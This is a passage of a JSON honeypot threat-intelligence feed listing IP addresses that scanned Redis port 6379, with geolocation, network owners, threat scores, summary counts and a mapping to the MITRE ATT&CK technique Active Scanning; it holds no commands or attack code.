      "attack_count": 5,
      "first_seen": "2026-05-30T11:45:18.000Z",
      "last_seen": "2026-05-30T11:46:51.532Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 60.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 29,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:04:22.768000+00:00",
        "last_seen_30d": "2026-05-30T11:46:51.532000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21
      }
    },
    "8.142.178.14": {
      "attack_count": 5,
      "first_seen": "2026-05-08T10:29:51.000Z",
      "last_seen": "2026-05-08T10:31:00.311Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-08T10:31:00.311000+00:00",
        "last_seen_30d": "2026-05-08T10:31:00.311000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "8.148.182.81": {
      "attack_count": 5,
      "first_seen": "2026-05-10T05:04:42.000Z",
      "last_seen": "2026-05-10T05:05:44.446Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-10T05:05:44.446000+00:00",
        "last_seen_30d": "2026-05-10T05:05:44.446000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "137.184.205.191": {
      "attack_count": 4,
      "first_seen": "2026-05-29T03:35:10.000Z",
      "last_seen": "2026-05-29T03:36:19.441Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 61.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1931,
        "days_active_30d": 1,
        "ports_targeted_30d": 1895,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-29T03:14:17.601000+00:00",
        "last_seen_30d": "2026-05-29T04:04:12.620000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1872,
        "Honeytrap": 58,
        "Dionaea": 1
      }
    },
    "184.105.139.104": {
      "attack_count": 4,
      "first_seen": "2026-05-30T14:00:07.000Z",
      "last_seen": "2026-05-30T14:01:13.406Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 56.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 28,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T02:11:33.029000+00:00",
        "last_seen_30d": "2026-05-30T14:01:13.406000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10
      }
    },
    "216.218.206.94": {
      "attack_count": 4,
      "first_seen": "2026-05-29T13:55:53.000Z",
      "last_seen": "2026-05-29T13:57:01.219Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 48.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-04T08:55:19.429000+00:00",
        "last_seen_30d": "2026-05-29T13:57:01.219000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9
      }
    }
  },
  "x_nadsec_summary": {
    "top_countries": {
      "United States": 12487,
      "Poland": 6933,
      "China": 3849,
      "Seychelles": 2061,
      "The Netherlands": 979,
      "Netherlands": 863,
      "France": 571,
      "Russia": 494,
      "Singapore": 374,
      "Bulgaria": 312,
      "Germany": 288,
      "Moldova": 245,
      "Romania": 189,
      "Malaysia": 176,
      "Canada": 168,
      "Japan": 136,
      "Indonesia": 135,
      "Italy": 131,
      "India": 130,
      "Hong Kong": 130
    },
    "top_asns": {
      "Podaon SIA": 6908,
      "Alsycon B.V.": 5481,
      "Amazon.com, Inc.": 2968,
      "DigitalOcean, LLC": 2172,
      "Microsoft Corporation": 1031,
      "Hurricane Electric LLC": 897,
      "AROSSCLOUD INC.": 793,
      "Techoff Srv Limited": 780,
      "Hangzhou Alibaba Advertising Co.,Ltd.": 624,
      "Censys, Inc.": 623,
      "CHINA UNICOM China169 Backbone": 531,
      "LIGHT NODE LIMITED": 374,
      "China Mobile Communications Group Co., Ltd.": 353,
      "China Mobile communications corporation": 346,
      "OVH SAS": 324,
      "Beijing Baidu Netcom Science and Technology Co., Ltd.": 311,
      "Petersburg Internet Network ltd.": 310,
      "Chinanet": 280,
      "Alibaba US Technology Co., Ltd.": 269,
      "ColocaTel Inc.": 269
    },
    "targeted_ports": {
      "6379": 680
    },
    "top_commands": {},
    "attack_types": {
      "scanning": 31475
    }
  },
  "x_mitre_attack": {
    "techniques": {
      "T1595": {
        "name": "Active Scanning",
        "tactic": "Reconnaissance",
        "ip_count": 680,
        "attack_types": [
          "scanning"
        ]
      }
    },
    "tactic_summary": {
      "Reconnaissance": 680
    },
    "technique_count": 1,
    "primary_tactics": [
      "Reconnaissance"
    ]
  },
  "x_nadsec_threat_summary": {
    "total_ips": 680,
    "scored_ips": 680,
    "threat_distribution": {
      "critical": 107,
      "high": 144,
      "medium": 110,
      "low": 144,
      "minimal": 175,
      "unknown": 0
    },
    "avg_threat_score": 45.8,
    "max_threat_score": 100,
    "top_threats": [
      {
        "ip": "37.60.241.154",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 7,
        "country": "France",
        "org": "Contabo GmbH"
      },
      {
        "ip": "85.11.167.11",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 269,
        "country": "Bulgaria",
        "org": "ColocaTel Inc."
      },
      {
        "ip": "85.217.149.74",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 8,
        "country": "Canada",
        "org": "Modat B.V."
      },
      {
        "ip": "51.68.207.118",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 305,
        "country": "France",
        "org": "OVH SAS"
      },
      {
        "ip": "77.83.240.70",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 3352,
        "country": "United States",
        "org": "Alsycon B.V."
      },
      {
        "ip": "65.49.20.66",
        "threat_score": 98.6,
        "threat_level": "critical",
        "total_events": 26,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "80.82.77.139",
        "threat_score": 96.8,
        "threat_level": "critical",
        "total_events": 18,
        "country": "The Netherlands",
        "org": "IP Volume inc"
      },
      {
        "ip": "216.218.206.69",
        "threat_score": 96.8,
        "threat_level": "critical",
        "total_events": 53,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "176.32.193.16",
        "threat_score": 96.7,
        "threat_level": "critical",
        "total_events": 27,
        "country": "Armenia",
        "org": "Ucom CJSC"
      },
      {
        "ip": "74.82.47.4",
        "threat_score": 96.4,
        "threat_level": "critical",
        "total_events": 53,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "184.105.247.196",
        "threat_score": 96.1,
        "threat_level": "critical",
        "total_events": 53,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "65.49.20.67",
        "threat_score": 96.1,
        "threat_level": "critical",
        "total_events": 28,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "80.82.70.133",
        "threat_score": 96.1,
        "threat_level": "critical",
        "total_events": 49,
        "country": "Netherlands",
        "org": "IP Volume inc"
      },
      {
        "ip": "184.105.139.68",
        "threat_score": 95.9,
        "threat_level": "critical",
        "total_events": 53,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "64.62.156.24",
        "threat_score": 95.8,
        "threat_level": "critical",
        "total_events": 53,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "65.49.1.182",
        "threat_score": 95.6,
        "threat_level": "critical",
        "total_events": 26,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "65.49.1.132",
        "threat_score": 95.5,
        "threat_level": "critical",
        "total_events": 27,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "65.49.1.232",
        "threat_score": 95.5,
        "threat_level": "critical",
        "total_events": 27,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      },
      {
        "ip": "185.107.80.93",
        "threat_score": 95.1,
        "threat_level": "critical",
        "total_events": 47,
        "country": "France",
        "org": "NForce Entertainment B.V."
      },
      {
        "ip": "64.62.156.108",
        "threat_score": 95.1,
        "threat_level": "critical",
        "total_events": 26,
        "country": "United States",
        "org": "Hurricane Electric LLC"
      }
    ]
  }
}